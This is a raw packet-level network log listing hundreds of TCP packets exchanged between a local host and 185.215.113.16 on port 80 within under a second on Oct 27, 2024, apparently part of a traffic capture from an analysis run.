Oct 27, 2024 02:03:21.469997883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470021009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.470031023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470050097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.470058918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470124006 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.470536947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470585108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470635891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470647097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.470669031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470701933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470716953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.470733881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470767021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470797062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.470798969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470834017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.470850945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.470868111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.471004009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.471393108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.471442938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.471476078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.471508026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.471508980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.471541882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.471577883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.471606970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.474953890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.523950100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.523983955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.524034977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.524063110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.524075985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.524210930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.533044100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.543812990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.543863058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.543895960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.543948889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.543981075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.543998003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544028997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.544029951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544063091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544091940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.544095039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544128895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544162035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.544162989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544197083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544223070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.544533014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544567108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544600964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544631958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.544632912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544657946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.544866085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544914961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544948101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.544980049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545006037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.545012951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545401096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545432091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.545450926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545484066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545516014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545551062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545583010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.545583963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545634985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545661926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.545665026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.547342062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.584475994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.584527016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.584559917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.584585905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.584590912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.584625006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.584650040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.584656954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.584974051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.587479115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587512016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587543964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587572098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.587590933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587640047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587671041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.587671995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587706089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587734938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.587738991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587774992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.587801933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.588018894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588089943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588120937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.588121891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588156939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588306904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588359118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588391066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.588423014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588455915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588486910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.588488102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588617086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.588783979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588898897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588932037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588963032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.588964939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.588996887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589026928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.589030027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589062929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589097023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589097977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.589128971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589158058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.589162111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589287043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.589701891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589751005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589801073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589833021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.589833975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589868069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589899063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.589900017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589934111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589965105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.589967966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.589999914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.590032101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.590033054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.590128899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.590533972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.590567112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.590600014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.591701984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.642488003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.642522097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.642554998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.642646074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.662322044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662374020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662395000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.662401915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662434101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662467957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662499905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662532091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662533045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.662630081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.662646055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662708998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662787914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662820101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662848949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.662853003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.662883043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.662888050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663100958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663134098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663147926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.663171053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663202047 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.663202047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663455963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663487911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663491011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.663521051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663548946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.663602114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663635015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663664103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.663686991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663743019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663773060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.663775921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663809061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663842916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663870096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.663872004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.663899899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.664231062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.664263964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.664297104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.664328098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.664390087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.703068018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.703102112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.703154087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.703183889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.703188896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.703224897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.703258991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.703282118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.704632998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.706059933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706104994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706183910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706209898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.706233978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706268072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706294060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.706300020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706338882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706371069 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.706373930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706629038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706660032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.706679106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706713915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706746101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706748962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.706794977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706800938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.706830978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706866026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.706896067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707066059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.707180023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707243919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707294941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707344055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707371950 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.707379103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707412004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707442045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.707444906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707475901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.707475901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707510948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707544088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.707571983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.707801104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.707977057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708010912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708060980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708111048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708143950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708144903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.708173037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.708178997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708211899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708244085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708276033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708302021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.708307981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708344936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708380938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.708822012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708873987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708903074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.708908081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708939075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.708970070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.708972931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.709005117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.709038019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.709039927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.709069014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.709096909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.756865978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.761200905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.761250019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.761286974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.761303902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.781136036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781193018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.781194925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781245947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781280994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781313896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781367064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.781475067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781507015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781539917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781568050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.781636953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781668901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781702995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781734943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.781750917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781759977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.781786919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781820059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781855106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.781886101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.782048941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782102108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782152891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.782174110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782206059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.782227039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782258987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782289028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.782293081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782325029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782360077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.782358885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782392979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782423973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.782427073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782460928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782490015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.782494068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.782807112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.822052956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.822103977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.822138071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.822165966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.822170019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.822204113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.822233915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.824887991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.824917078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.824948072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.824986935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825020075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825045109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.825052977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825105906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825136900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.825174093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825225115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825258970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825308084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825371981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.825392008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825665951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825699091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825750113 CET	80	49738	185.215.113.16	192.168.2.4
